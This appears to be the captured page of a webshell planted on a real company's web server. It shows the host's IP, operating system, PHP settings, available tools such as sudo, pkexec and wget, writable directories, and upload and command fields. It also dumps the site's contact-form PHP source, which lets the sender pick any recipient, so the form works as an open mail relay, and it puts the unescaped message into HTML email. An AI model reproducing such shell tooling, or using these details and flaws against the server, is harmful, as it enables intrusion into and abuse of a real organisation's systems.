403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/onesolution.com.hk/en/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/onesolution.com.hk/en/contact_post.php
<?php header('Content-Type: text/html; charset=UTF-8'); ?>
<?php
session_start();
$ara = explode("|", $_SESSION['vCode']);

if	($ara[0] && $ara[0] == $_POST['verification'])	{

	// clear used vcode
	$_SESSION['vCode'] = "";

	$mailto				= htmlspecialchars($_POST["mailto"],ENT_QUOTES);
	$name				= htmlspecialchars($_POST["name"],ENT_QUOTES);
	$company			= htmlspecialchars($_POST["company"],ENT_QUOTES);
	$email				= htmlspecialchars($_POST["email"],ENT_QUOTES);
	$phone	 			= htmlspecialchars($_POST["phone"],ENT_QUOTES);
	$nowdate 			= date("Y-m-d H:i:s");
	//print_r($_POST);
	
	if(!filter_var($email, FILTER_VALIDATE_EMAIL)){
		echo '<script>alert("Invalid email format."); history.back();</script>';
		exit;
	}

	require("../inc/class.phpmailer.php");
	$subject		= "One Solution Enquiry E-mail";

	$body =  'Name:   '.$name.'<br /><br />
			Company Name :  '.$company.'<br /><br />
			  E-Mail :  '.$email.'<br /><br />
			  Tel :  '.$phone.'<br /><br />
			  Message : <br />'.nl2br($_POST["message"]).'<br /><br />';


	$x_mail = new PHPMailer();
	$x_mail->IsSMTP();
	$x_mail->Host = "localhost";
	//$x_mail->SMTPAuth = true;
	$x_mail->CharSet = "UTF-8";
	$x_mail->From = $email;
	$x_mail->FromName = $name;
	$x_mail->AddAddress($mailto);
	$x_mail->WordWrap = 50;
	$x_mail->IsHTML(true);
	$x_mail->Subject = $subject;
	$x_mail->Body = $body;
	$x_mail->Send();


	mysql_close($dbh);

	header("Location: index.html");

}	else	{
	echo"<script language='javascript'>
			alert('Verify Code Error');
			history.back();
		</script>";
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit